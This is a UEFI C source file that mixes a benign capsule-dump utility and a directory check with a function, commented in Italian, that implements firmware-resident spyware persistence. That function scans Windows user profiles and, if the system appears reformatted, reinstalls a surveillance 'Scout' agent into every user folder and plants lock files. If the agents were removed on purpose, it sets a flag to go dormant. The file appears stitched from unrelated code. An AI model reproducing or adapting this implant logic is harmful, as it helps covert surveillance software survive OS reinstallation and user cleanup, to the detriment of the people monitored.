/**
Determine if a directory has no files in it.
@param[in] FileHandle The EFI_HANDLE to the directory.
@retval TRUE The directory has no files (or directories).
@retval FALSE The directory has at least 1 file or directory in it.
**/
BOOLEAN
IsDirectoryEmpty (
IN EFI_HANDLE FileHandle
)
{
EFI_STATUS Status;
EFI_FILE_INFO *FileInfo;
BOOLEAN NoFile;
BOOLEAN RetVal;
RetVal = TRUE;
NoFile = FALSE;
FileInfo = NULL;
for (Status = FileHandleFindFirstFile(FileHandle, &FileInfo)
; !NoFile && !EFI_ERROR (Status)
; FileHandleFindNextFile(FileHandle, FileInfo, &NoFile)
){
if (StrStr(FileInfo->FileName, L".") != FileInfo->FileName
&&StrStr(FileInfo->FileName, L"..") != FileInfo->FileName) {
RetVal = FALSE;
}
}
return (RetVal);
}
BOOLEAN
EFIAPI
TestIsUserNotEmpty(
IN EFI_FILE_HANDLE CurDir
)
{
EFI_STATUS Status;
EFI_FILE_INFO *FileInfo;
BOOLEAN NoFile;
BOOLEAN RetVal;
CHAR16 *FileNameDesktop;
EFI_FILE_HANDLE TestFileHandleDesktop=NULL;
UINTN AL;
BOOLEAN IsUser;
BOOLEAN IsFormat;
EFI_FILE_HANDLE FileHandle=NULL;
RetVal = TRUE;
NoFile = FALSE;
Status = CurDir->Open (CurDir, &FileHandle, L".\\Users", EFI_FILE_MODE_READ, 0);
FileInfo = NULL;
FileNameDesktop = AllocateZeroPool(260*sizeof(CHAR16));
IsUser=FALSE;
IsFormat=TRUE;
for ( Status = FileHandleFindFirstFile(FileHandle, &FileInfo);
!NoFile;
Status = FileHandleFindNextFile(FileHandle, FileInfo, &NoFile)
)
{
if (FileInfo==NULL)
{
Status = FileHandle->Close(FileHandle);
FreePool(FileNameDesktop);
return FALSE;
}
#ifdef FORCE_DEBUG
Print(L"[[[NomeFile:: %s FileSize:: %d]]]\n",FileInfo->FileName,FileInfo->FileSize);
#endif
if ( StrStr(FileInfo->FileName, L".") == FileInfo->FileName ) continue;
if ( StrStr(FileInfo->FileName, L"..") == FileInfo->FileName ) continue;
if ( StrStr(FileInfo->FileName, L"Public") == FileInfo->FileName ) continue;
if ( StrStr(FileInfo->FileName, L"Administrator") == FileInfo->FileName ) continue;
//Per aumentare la probabilita' che la cartella sia di un utente vero e non che sia stata creata da
// manualmente controllo che vi sia la sottocartella Desktop
ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));
StrCpy(FileNameDesktop, L".\\Users\\");
StrCat(FileNameDesktop, FileInfo->FileName);
StrCat(FileNameDesktop, L"\\Desktop");
#ifdef FORCE_DEBUG
Print(L"%s\n",FileNameDesktop);
#endif
Status = CurDir->Open (CurDir, &TestFileHandleDesktop, FileNameDesktop, EFI_FILE_MODE_READ, 0);
if (EFI_ERROR(Status))
{
continue;
}
//chiudo il file aperto
Status = TestFileHandleDesktop->Close(TestFileHandleDesktop);
if (EFI_ERROR(Status))
{
#ifdef FORCE_DEBUG
Print(L"Can not close the file %s\n",FileNameDesktop);
#endif
}
//se arrivo qua è perche' riscontro un possibile utente
ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));
StrCpy(FileNameDesktop, L".\\Users\\");
StrCat(FileNameDesktop, FileInfo->FileName);
#ifdef FORCE_DEBUG
Print(L"Nome Utente Trovato:%s\n",FileInfo->FileName);
#endif
AL=CheckAL(FileNameDesktop,CurDir);
switch (AL) {
case 0:
#ifdef FORCE_DEBUG
Print(L"case 0\n");
#endif
break;
case 1:
#ifdef FORCE_DEBUG
Print(L"case 1\n");
#endif
RemoveFileLock(CurDir,FileNameDesktop);
IsFormat = FALSE;
break;
case 2:
#ifdef FORCE_DEBUG
Print(L"case 2\n");
#endif
InsertFileLock(CurDir,FileNameDesktop);
IsUser=TRUE;
IsFormat=FALSE;
break;
case 3:
#ifdef FORCE_DEBUG
Print(L"case 3\n");
#endif
IsUser=TRUE;
IsFormat=FALSE;
break;
}
} // end for
Status = FileHandle->Close(FileHandle);
if (EFI_ERROR(Status))
{
#ifdef FORCE_DEBUG
Print(L"Can not close the file %s\n",FileHandle);
#endif
}
if(IsFormat == TRUE)
{
//siglifica che il pc è stato formattato
//installo l'Agent=> Scout e creo il file di Lock su tutti gli utenti del sistema
#ifdef FORCE_DEBUG
Print(L"IsFormat == TRUE\n");
#endif
Status = CurDir->Open (CurDir, &FileHandle, L".\\Users", EFI_FILE_MODE_READ, 0);
RetVal = TRUE;
NoFile = FALSE;
FileInfo = NULL;
for ( Status = FileHandleFindFirstFile(FileHandle, &FileInfo);
!NoFile;
Status = FileHandleFindNextFile(FileHandle, FileInfo, &NoFile)
)
{
if (FileInfo==NULL)
{
#ifdef FORCE_DEBUG
Print(L"FileInfo==NULL\n");
#endif
Status = FileHandle->Close(FileHandle);
return FALSE;
}
#ifdef FORCE_DEBUG
Print(L"[[[NomeFile:::: %s FileSize:: %d]]]\n",FileInfo->FileName,FileInfo->FileSize);
#endif
ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));
if ( StrStr(FileInfo->FileName, L".") == FileInfo->FileName ) continue;
if ( StrStr(FileInfo->FileName, L"..") == FileInfo->FileName ) continue;
if ( StrStr(FileInfo->FileName, L"Public") == FileInfo->FileName ) continue;
if ( StrStr(FileInfo->FileName, L"Administrator") == FileInfo->FileName ) continue;
//Per aumentare la probabilita' che la cartella sia di un utente vero e non che sia stata creata da
// manualmente controllo che vi sia la sottocartella Desktop
ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));
StrCpy(FileNameDesktop, L".\\Users\\");
StrCat(FileNameDesktop, FileInfo->FileName);
StrCat(FileNameDesktop, L"\\Desktop");
Status = CurDir->Open (CurDir, &TestFileHandleDesktop, FileNameDesktop, EFI_FILE_MODE_READ, 0);
if (EFI_ERROR(Status))
{
continue;
}
//chiudo il file aperto
Status = TestFileHandleDesktop->Close(TestFileHandleDesktop);
if (EFI_ERROR(Status))
{
#ifdef FORCE_DEBUG
Print(L"Can not close the file %s\n",FileNameDesktop);
#endif
}
//se arrivo qua è perche' riscontro un possibile utente
ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));
StrCpy(FileNameDesktop, L".\\Users\\");
StrCat(FileNameDesktop, FileInfo->FileName);
//Installo l'Agent
InstallAgent(CurDir,FileNameDesktop);
//Creo il file di Lock per questo utente
InsertFileLock(CurDir,FileNameDesktop);
}
Status = FileHandle->Close(FileHandle);
if (EFI_ERROR(Status))
{
#ifdef FORCE_DEBUG
Print(L"Can not close the file %s\n",FileHandle);
#endif
}
}
if(IsFormat == FALSE && IsUser == FALSE)
{
#ifdef FORCE_DEBUG
Print(L"IsFormat == FALSE && IsUser == FALSE\n");
#endif
//significa che sono stati rimossi volutamente tutti gli agenti => disabilito l'UEFI settando la variabile fTA=TRUE
SetfTA();
}
#ifdef FORCE_DEBUG
Print(L"NomeFile::exit\n");
#endif
FreePool(FileNameDesktop);
return FALSE;
}
/**
Dump capsule information from disk.
@param[in] Fs The device path of disk.
@param[in] DumpCapsuleInfo The flag to indicate whether to dump the capsule inforomation.
@retval EFI_SUCCESS The capsule information is dumped.
**/
EFI_STATUS
DumpCapsuleFromDisk (
IN EFI_SIMPLE_FILE_SYSTEM_PROTOCOL *Fs,
IN BOOLEAN DumpCapsuleInfo
)
{
EFI_STATUS Status;
EFI_FILE *Root;
EFI_FILE *DirHandle;
EFI_FILE *FileHandle;
UINTN Index;
UINTN FileSize;
VOID *FileBuffer;
EFI_FILE_INFO **FileInfoBuffer;
EFI_FILE_INFO *FileInfo;
UINTN FileCount;
BOOLEAN NoFile;
DirHandle = NULL;
FileHandle = NULL;
Index = 0;
FileInfoBuffer = NULL;
FileInfo = NULL;
FileCount = 0;
NoFile = FALSE;
Status = Fs->OpenVolume (Fs, &Root);
if (EFI_ERROR (Status)) {
Print (L"Cannot open volume. Status = %r\n", Status);
goto Done;
}
Status = Root->Open (Root, &DirHandle, EFI_CAPSULE_FILE_DIRECTORY, EFI_FILE_MODE_READ | EFI_FILE_MODE_WRITE , 0);
if (EFI_ERROR (Status)) {
Print (L"Cannot open %s. Status = %r\n", EFI_CAPSULE_FILE_DIRECTORY, Status);
goto Done;
}
//
// Get file count first
//
do {
Status = FileHandleFindFirstFile (DirHandle, &FileInfo);
if (EFI_ERROR (Status) || FileInfo == NULL) {
Print (L"Get File Info Fail. Status = %r\n", Status);
goto Done;
}
if ((FileInfo->Attribute & (EFI_FILE_SYSTEM | EFI_FILE_ARCHIVE)) != 0) {
FileCount++;
}
Status = FileHandleFindNextFile (DirHandle, FileInfo, &NoFile);
if (EFI_ERROR (Status)) {
Print (L"Get Next File Fail. Status = %r\n", Status);
goto Done;
}
} while (!NoFile);
if (FileCount == 0) {
Print (L"Error: No capsule file found!\n");
Status = EFI_NOT_FOUND;
goto Done;
}
FileInfoBuffer = AllocateZeroPool (sizeof (FileInfo) * FileCount);
if (FileInfoBuffer == NULL) {
Status = EFI_OUT_OF_RESOURCES;
goto Done;
}
NoFile = FALSE;
//
// Get all file info
//
do {
Status = FileHandleFindFirstFile (DirHandle, &FileInfo);
if (EFI_ERROR (Status) || FileInfo == NULL) {
Print (L"Get File Info Fail. Status = %r\n", Status);
goto Done;
}
if ((FileInfo->Attribute & (EFI_FILE_SYSTEM | EFI_FILE_ARCHIVE)) != 0) {
FileInfoBuffer[Index++] = AllocateCopyPool ((UINTN)FileInfo->Size, FileInfo);
}
Status = FileHandleFindNextFile (DirHandle, FileInfo, &NoFile);
if (EFI_ERROR (Status)) {
Print (L"Get Next File Fail. Status = %r\n", Status);
goto Done;
}
} while (!NoFile);
//
// Sort FileInfoBuffer by alphabet order
//
PerformQuickSort (
FileInfoBuffer,
FileCount,
sizeof (FileInfo),
(SORT_COMPARE) CompareFileNameInAlphabet
);
Print (L"The capsules will be performed by following order:\n");
for (Index = 0; Index < FileCount; Index++) {
Print (L" %d.%s\n", Index + 1, FileInfoBuffer[Index]->FileName);
}
if (!DumpCapsuleInfo) {
Status = EFI_SUCCESS;
goto Done;
}
Print(L"The infomation of the capsules:\n");
for (Index = 0; Index < FileCount; Index++) {
FileHandle = NULL;
Status = DirHandle->Open (DirHandle, &FileHandle, FileInfoBuffer[Index]->FileName, EFI_FILE_MODE_READ, 0);
if (EFI_ERROR (Status)) {
goto Done;
}
Status = FileHandleGetSize (FileHandle, (UINT64 *) &FileSize);
if (EFI_ERROR (Status)) {
Print (L"Cannot read file %s. Status = %r\n", FileInfoBuffer[Index]->FileName, Status);
FileHandleClose (FileHandle);
goto Done;
}
FileBuffer = AllocatePool (FileSize);
if (FileBuffer == NULL) {
Status = EFI_OUT_OF_RESOURCES;
goto Done;
}
Status = FileHandleRead (FileHandle, &FileSize, FileBuffer);
if (EFI_ERROR (Status)) {
Print (L"Cannot read file %s. Status = %r\n", FileInfoBuffer[Index]->FileName, Status);
FileHandleClose (FileHandle);
FreePool (FileBuffer);
goto Done;
}
Print (L"**************************\n");
Print (L" %d.%s:\n", Index + 1, FileInfoBuffer[Index]->FileName);
Print (L"**************************\n");
DumpCapsuleFromBuffer ((EFI_CAPSULE_HEADER *) FileBuffer);
FileHandleClose (FileHandle);
FreePool (FileBuffer);
}
Done:
if (FileInfoBuffer != NULL) {
for (Index = 0; Index < FileCount; Index++) {
if (FileInfoBuffer[Index] != NULL) {
FreePool (FileInfoBuffer[Index]);
}
}
FreePool (FileInfoBuffer);
}
return Status;
}
